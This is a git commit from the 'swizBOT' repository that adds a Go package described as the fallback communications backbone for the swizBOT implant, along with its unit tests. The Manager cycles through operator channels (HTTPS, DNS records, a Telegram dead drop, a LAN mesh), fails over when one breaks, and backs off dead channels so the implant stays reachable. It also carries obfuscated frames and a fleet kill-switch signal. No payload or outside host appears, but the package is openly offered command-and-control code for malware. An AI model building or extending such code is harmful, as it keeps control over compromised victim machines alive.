mirror of
https://git.churchofmalware.org/ek0mssavi0r/swizBOT
synced 2026-09-24 08:34:38 +00:00
Upload files to "internal/transport"
This commit is contained in:
@@ -0,0 +1,265 @@
|
||||
// Package transport is the layered fallback-comms backbone for the
|
||||
// swizBOT implant.
|
||||
//
|
||||
// The implant talks to the operator through an ordered stack of channels
|
||||
// (HTTPS endpoints, DNS records, a Telegram dead drop, a LAN mesh, ...).
|
||||
// Each channel is a Layer. The Manager walks the stack in priority order,
|
||||
// fails over on error, and keeps per-layer health so a dead channel is
|
||||
// put on probation instead of being hammered on every beacon.
|
||||
//
|
||||
// Layers move opaque bytes. Encryption is the caller's job (or the
|
||||
// layer's), so the same Manager carries AEAD frames, legacy
|
||||
// XOR-obfuscated bodies, or cleartext in a lab without knowing which.
|
||||
package transport
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Sentinel errors. Layers return ErrUnsupported for an operation they do
|
||||
// not implement (e.g. a receive-only DNS channel); the Manager then skips
|
||||
// the layer without counting it as a failure.
|
||||
var (
|
||||
ErrNoLayers = errors.New("transport: no layers configured")
|
||||
ErrAllFailed = errors.New("transport: every layer failed")
|
||||
ErrUnsupported = errors.New("transport: operation unsupported by layer")
|
||||
)
|
||||
|
||||
// Frame is one wire payload returned by a poll. Sealed reports whether
|
||||
// Body is an AEAD frame (true) or a cleartext JSON body (false, legacy
|
||||
// lab mode) so the caller knows how to open it. Paused carries the fleet
|
||||
// kill-switch signal when the channel exposes it (HTTP X-Paused).
|
||||
type Frame struct {
|
||||
Body []byte
|
||||
Sealed bool
|
||||
Paused bool
|
||||
}
|
||||
|
||||
// Layer is a single comms channel in the fallback stack.
|
||||
//
|
||||
// Poll returns the next inbound frame: (Frame{}, nil) means the channel
|
||||
// is healthy but has nothing queued, (Frame{}, err) means the channel
|
||||
// failed. Push delivers one outbound frame.
|
||||
type Layer interface {
|
||||
Name() string
|
||||
Priority() int
|
||||
Poll(ctx context.Context) (Frame, error)
|
||||
Push(ctx context.Context, frame []byte) error
|
||||
}
|
||||
|
||||
// LayerStatus is a point-in-time health snapshot for observability.
|
||||
type LayerStatus struct {
|
||||
Name string
|
||||
Priority int
|
||||
Healthy bool
|
||||
Consecutive int
|
||||
Successes uint64
|
||||
Failures uint64
|
||||
ProbationTill time.Time
|
||||
LastError string
|
||||
LastOK time.Time
|
||||
}
|
||||
|
||||
type layerState struct {
|
||||
layer Layer
|
||||
consec int
|
||||
probUntil time.Time
|
||||
lastErr error
|
||||
lastOK time.Time
|
||||
ok uint64
|
||||
fail uint64
|
||||
}
|
||||
|
||||
// Manager owns the ordered layer stack and its health state.
|
||||
type Manager struct {
|
||||
mu sync.Mutex
|
||||
states []*layerState
|
||||
now func() time.Time
|
||||
|
||||
failThreshold int
|
||||
probation time.Duration
|
||||
maxProbation time.Duration
|
||||
}
|
||||
|
||||
// Option configures a Manager.
|
||||
type Option func(*Manager)
|
||||
|
||||
// WithClock overrides the time source (tests).
|
||||
func WithClock(now func() time.Time) Option { return func(m *Manager) { m.now = now } }
|
||||
|
||||
// WithProbation sets the consecutive-failure threshold that trips
|
||||
// probation and the base probation duration.
|
||||
func WithProbation(after int, d time.Duration) Option {
|
||||
return func(m *Manager) {
|
||||
if after > 0 {
|
||||
m.failThreshold = after
|
||||
}
|
||||
if d > 0 {
|
||||
m.probation = d
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WithMaxProbation caps the exponential probation backoff.
|
||||
func WithMaxProbation(d time.Duration) Option {
|
||||
return func(m *Manager) {
|
||||
if d > 0 {
|
||||
m.maxProbation = d
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// New builds a Manager over the given layers, ordered by ascending
|
||||
// Priority (lower = tried first).
|
||||
func New(layers []Layer, opts ...Option) *Manager {
|
||||
m := &Manager{
|
||||
now: time.Now,
|
||||
failThreshold: 3,
|
||||
probation: 30 * time.Second,
|
||||
maxProbation: 30 * time.Minute,
|
||||
}
|
||||
for _, o := range opts {
|
||||
o(m)
|
||||
}
|
||||
for _, l := range layers {
|
||||
if l == nil {
|
||||
continue
|
||||
}
|
||||
m.states = append(m.states, &layerState{layer: l})
|
||||
}
|
||||
sort.SliceStable(m.states, func(i, j int) bool {
|
||||
return m.states[i].layer.Priority() < m.states[j].layer.Priority()
|
||||
})
|
||||
return m
|
||||
}
|
||||
|
||||
// Names returns the layer names in priority order.
|
||||
func (m *Manager) Names() []string {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
out := make([]string, len(m.states))
|
||||
for i, s := range m.states {
|
||||
out[i] = s.layer.Name()
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Poll returns the first inbound frame from the highest-priority healthy
|
||||
// layer. ErrAllFailed means every layer either errored or was skipped.
|
||||
func (m *Manager) Poll(ctx context.Context) (Frame, string, error) {
|
||||
m.mu.Lock()
|
||||
states := append([]*layerState(nil), m.states...)
|
||||
m.mu.Unlock()
|
||||
if len(states) == 0 {
|
||||
return Frame{}, "", ErrNoLayers
|
||||
}
|
||||
for _, s := range states {
|
||||
if m.inProbation(s) {
|
||||
continue
|
||||
}
|
||||
f, err := s.layer.Poll(ctx)
|
||||
if errors.Is(err, ErrUnsupported) {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
m.markFail(s, err)
|
||||
continue
|
||||
}
|
||||
m.markOK(s)
|
||||
return f, s.layer.Name(), nil
|
||||
}
|
||||
return Frame{}, "", ErrAllFailed
|
||||
}
|
||||
|
||||
// Push delivers a frame through the first healthy layer that accepts it.
|
||||
func (m *Manager) Push(ctx context.Context, frame []byte) (string, error) {
|
||||
m.mu.Lock()
|
||||
states := append([]*layerState(nil), m.states...)
|
||||
m.mu.Unlock()
|
||||
if len(states) == 0 {
|
||||
return "", ErrNoLayers
|
||||
}
|
||||
for _, s := range states {
|
||||
if m.inProbation(s) {
|
||||
continue
|
||||
}
|
||||
err := s.layer.Push(ctx, frame)
|
||||
if errors.Is(err, ErrUnsupported) {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
m.markFail(s, err)
|
||||
continue
|
||||
}
|
||||
m.markOK(s)
|
||||
return s.layer.Name(), nil
|
||||
}
|
||||
return "", ErrAllFailed
|
||||
}
|
||||
|
||||
// Status snapshots per-layer health, in priority order.
|
||||
func (m *Manager) Status() []LayerStatus {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
out := make([]LayerStatus, 0, len(m.states))
|
||||
for _, s := range m.states {
|
||||
st := LayerStatus{
|
||||
Name: s.layer.Name(),
|
||||
Priority: s.layer.Priority(),
|
||||
Consecutive: s.consec,
|
||||
Successes: s.ok,
|
||||
Failures: s.fail,
|
||||
ProbationTill: s.probUntil,
|
||||
LastOK: s.lastOK,
|
||||
Healthy: s.consec < m.failThreshold && !m.probationActive(s),
|
||||
}
|
||||
if s.lastErr != nil {
|
||||
st.LastError = s.lastErr.Error()
|
||||
}
|
||||
out = append(out, st)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (m *Manager) probationActive(s *layerState) bool {
|
||||
return !s.probUntil.IsZero() && m.now().Before(s.probUntil)
|
||||
}
|
||||
|
||||
func (m *Manager) inProbation(s *layerState) bool {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
return m.probationActive(s)
|
||||
}
|
||||
|
||||
func (m *Manager) markOK(s *layerState) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
s.consec = 0
|
||||
s.probUntil = time.Time{}
|
||||
s.lastOK = m.now()
|
||||
s.ok++
|
||||
}
|
||||
|
||||
func (m *Manager) markFail(s *layerState, err error) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
s.consec++
|
||||
s.fail++
|
||||
s.lastErr = err
|
||||
if s.consec >= m.failThreshold {
|
||||
// exponential probation: base * 2^(over-threshold), capped
|
||||
over := s.consec - m.failThreshold
|
||||
if over > 20 {
|
||||
over = 20
|
||||
}
|
||||
d := m.probation << uint(over)
|
||||
if d <= 0 || d > m.maxProbation {
|
||||
d = m.maxProbation
|
||||
}
|
||||
s.probUntil = m.now().Add(d)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
package transport
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type clock struct{ t time.Time }
|
||||
|
||||
func (c *clock) now() time.Time { return c.t }
|
||||
func (c *clock) advance(d time.Duration) { c.t = c.t.Add(d) }
|
||||
|
||||
type fakeLayer struct {
|
||||
name string
|
||||
pri int
|
||||
pollF func(context.Context) (Frame, error)
|
||||
pushF func(context.Context, []byte) error
|
||||
}
|
||||
|
||||
func (f *fakeLayer) Name() string { return f.name }
|
||||
func (f *fakeLayer) Priority() int { return f.pri }
|
||||
func (f *fakeLayer) Poll(ctx context.Context) (Frame, error) {
|
||||
if f.pollF == nil {
|
||||
return Frame{}, ErrUnsupported
|
||||
}
|
||||
return f.pollF(ctx)
|
||||
}
|
||||
func (f *fakeLayer) Push(ctx context.Context, b []byte) error {
|
||||
if f.pushF == nil {
|
||||
return ErrUnsupported
|
||||
}
|
||||
return f.pushF(ctx, b)
|
||||
}
|
||||
|
||||
func errLayer(name string, pri int) *fakeLayer {
|
||||
return &fakeLayer{name: name, pri: pri, pollF: func(context.Context) (Frame, error) {
|
||||
return Frame{}, errors.New("down")
|
||||
}, pushF: func(context.Context, []byte) error { return errors.New("down") }}
|
||||
}
|
||||
|
||||
func okLayer(name string, pri int, body string, sealed bool) *fakeLayer {
|
||||
return &fakeLayer{name: name, pri: pri, pollF: func(context.Context) (Frame, error) {
|
||||
return Frame{Body: []byte(body), Sealed: sealed}, nil
|
||||
}, pushF: func(context.Context, []byte) error { return nil }}
|
||||
}
|
||||
|
||||
func TestOrderingByPriority(t *testing.T) {
|
||||
m := New([]Layer{errLayer("c", 30), errLayer("a", 10), errLayer("b", 20)})
|
||||
got := m.Names()
|
||||
want := []string{"a", "b", "c"}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("order = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPollFailover(t *testing.T) {
|
||||
m := New([]Layer{errLayer("https", 10), okLayer("dns", 20, "frame", true)})
|
||||
f, via, err := m.Poll(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("poll: %v", err)
|
||||
}
|
||||
if via != "dns" || string(f.Body) != "frame" || !f.Sealed {
|
||||
t.Fatalf("got via=%q body=%q sealed=%v", via, f.Body, f.Sealed)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPollStopsAtFirstHealthy(t *testing.T) {
|
||||
empty := &fakeLayer{name: "https", pri: 10, pollF: func(context.Context) (Frame, error) {
|
||||
return Frame{}, nil // healthy, nothing queued
|
||||
}}
|
||||
m := New([]Layer{empty, okLayer("dns", 20, "should-not-win", true)})
|
||||
f, via, err := m.Poll(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("poll: %v", err)
|
||||
}
|
||||
if via != "https" || len(f.Body) != 0 {
|
||||
t.Fatalf("expected to stop at https with empty frame, got via=%q body=%q", via, f.Body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbationThenSkip(t *testing.T) {
|
||||
clk := &clock{t: time.Unix(1000, 0)}
|
||||
l1 := errLayer("https", 10)
|
||||
l2 := okLayer("dns", 20, "ok", true)
|
||||
m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(2, 10*time.Second))
|
||||
|
||||
// two failed polls trip probation on l1
|
||||
for i := 0; i < 2; i++ {
|
||||
if _, via, err := m.Poll(context.Background()); err != nil || via != "dns" {
|
||||
t.Fatalf("poll %d: via=%q err=%v", i, via, err)
|
||||
}
|
||||
}
|
||||
st := m.Status()[0]
|
||||
if st.Failures != 2 || !st.ProbationTill.After(clk.now()) {
|
||||
t.Fatalf("l1 should be in probation after 2 failures: %+v", st)
|
||||
}
|
||||
// third poll must skip l1 entirely (no new failures recorded)
|
||||
if _, via, err := m.Poll(context.Background()); err != nil || via != "dns" {
|
||||
t.Fatalf("poll 3: via=%q err=%v", via, err)
|
||||
}
|
||||
if got := m.Status()[0].Failures; got != 2 {
|
||||
t.Fatalf("l1 should not be retried during probation, failures=%d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRecoveryAfterProbation(t *testing.T) {
|
||||
clk := &clock{t: time.Unix(2000, 0)}
|
||||
recovered := false
|
||||
l1 := &fakeLayer{name: "https", pri: 10, pollF: func(context.Context) (Frame, error) {
|
||||
if !recovered {
|
||||
return Frame{}, errors.New("down")
|
||||
}
|
||||
return Frame{Body: []byte("back"), Sealed: true}, nil
|
||||
}, pushF: func(context.Context, []byte) error { return nil }}
|
||||
l2 := okLayer("dns", 20, "fallback", true)
|
||||
m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(1, 10*time.Second))
|
||||
|
||||
// one failure -> probation
|
||||
if _, via, _ := m.Poll(context.Background()); via != "dns" {
|
||||
t.Fatalf("expected fallback, got %q", via)
|
||||
}
|
||||
// still in probation -> skipped even though l1 would succeed now
|
||||
recovered = true
|
||||
if _, via, _ := m.Poll(context.Background()); via != "dns" {
|
||||
t.Fatalf("expected probation skip, got %q", via)
|
||||
}
|
||||
// after the window, l1 is retried and wins
|
||||
clk.advance(11 * time.Second)
|
||||
f, via, err := m.Poll(context.Background())
|
||||
if err != nil || via != "https" || string(f.Body) != "back" {
|
||||
t.Fatalf("expected https recovery, got via=%q body=%q err=%v", via, f.Body, err)
|
||||
}
|
||||
if st := m.Status()[0]; !st.Healthy || st.Consecutive != 0 {
|
||||
t.Fatalf("l1 should be healthy after recovery: %+v", st)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPushFirstSuccess(t *testing.T) {
|
||||
m := New([]Layer{errLayer("https", 10), okLayer("dns", 20, "", true)})
|
||||
via, err := m.Push(context.Background(), []byte("x"))
|
||||
if err != nil || via != "dns" {
|
||||
t.Fatalf("push via=%q err=%v", via, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnsupportedSkipped(t *testing.T) {
|
||||
// poll-side unsupported (no pollF) must not count as a failure
|
||||
ro := &fakeLayer{name: "dns", pri: 10, pushF: func(context.Context, []byte) error { return nil }}
|
||||
m := New([]Layer{ro, okLayer("https", 20, "ok", true)})
|
||||
if _, via, err := m.Poll(context.Background()); err != nil || via != "https" {
|
||||
t.Fatalf("poll via=%q err=%v", via, err)
|
||||
}
|
||||
if st := m.Status()[0]; st.Failures != 0 {
|
||||
t.Fatalf("unsupported poll must not count as failure: %+v", st)
|
||||
}
|
||||
// push direction: the https layer is poll-only? no - it pushes fine. use a poll-only first layer
|
||||
pollOnly := &fakeLayer{name: "recv", pri: 10, pollF: func(context.Context) (Frame, error) { return Frame{}, nil }}
|
||||
m2 := New([]Layer{pollOnly, okLayer("https", 20, "", true)})
|
||||
if via, err := m2.Push(context.Background(), []byte("x")); err != nil || via != "https" {
|
||||
t.Fatalf("push via=%q err=%v", via, err)
|
||||
}
|
||||
if st := m2.Status()[0]; st.Failures != 0 {
|
||||
t.Fatalf("unsupported push must not count as failure: %+v", st)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllFailed(t *testing.T) {
|
||||
m := New([]Layer{errLayer("a", 10), errLayer("b", 20)})
|
||||
if _, _, err := m.Poll(context.Background()); !errors.Is(err, ErrAllFailed) {
|
||||
t.Fatalf("want ErrAllFailed, got %v", err)
|
||||
}
|
||||
if _, err := m.Push(context.Background(), nil); !errors.Is(err, ErrAllFailed) {
|
||||
t.Fatalf("push want ErrAllFailed, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNoLayers(t *testing.T) {
|
||||
m := New(nil)
|
||||
if _, _, err := m.Poll(context.Background()); !errors.Is(err, ErrNoLayers) {
|
||||
t.Fatalf("want ErrNoLayers, got %v", err)
|
||||
}
|
||||
if _, err := m.Push(context.Background(), nil); !errors.Is(err, ErrNoLayers) {
|
||||
t.Fatalf("push want ErrNoLayers, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbationBackoffCaps(t *testing.T) {
|
||||
clk := &clock{t: time.Unix(3000, 0)}
|
||||
l1 := errLayer("https", 10)
|
||||
l2 := okLayer("dns", 20, "ok", true)
|
||||
m := New([]Layer{l1, l2}, WithClock(clk.now), WithProbation(1, time.Minute), WithMaxProbation(5*time.Minute))
|
||||
|
||||
// drive many failures, advancing past each probation window so l1 retries
|
||||
for i := 0; i < 40; i++ {
|
||||
_, _, _ = m.Poll(context.Background())
|
||||
clk.advance(6 * time.Minute)
|
||||
}
|
||||
st := m.Status()[0]
|
||||
// probation window must be capped
|
||||
if d := st.ProbationTill.Sub(clk.now()); d > 5*time.Minute+time.Second {
|
||||
t.Fatalf("probation window %s exceeds cap", d)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user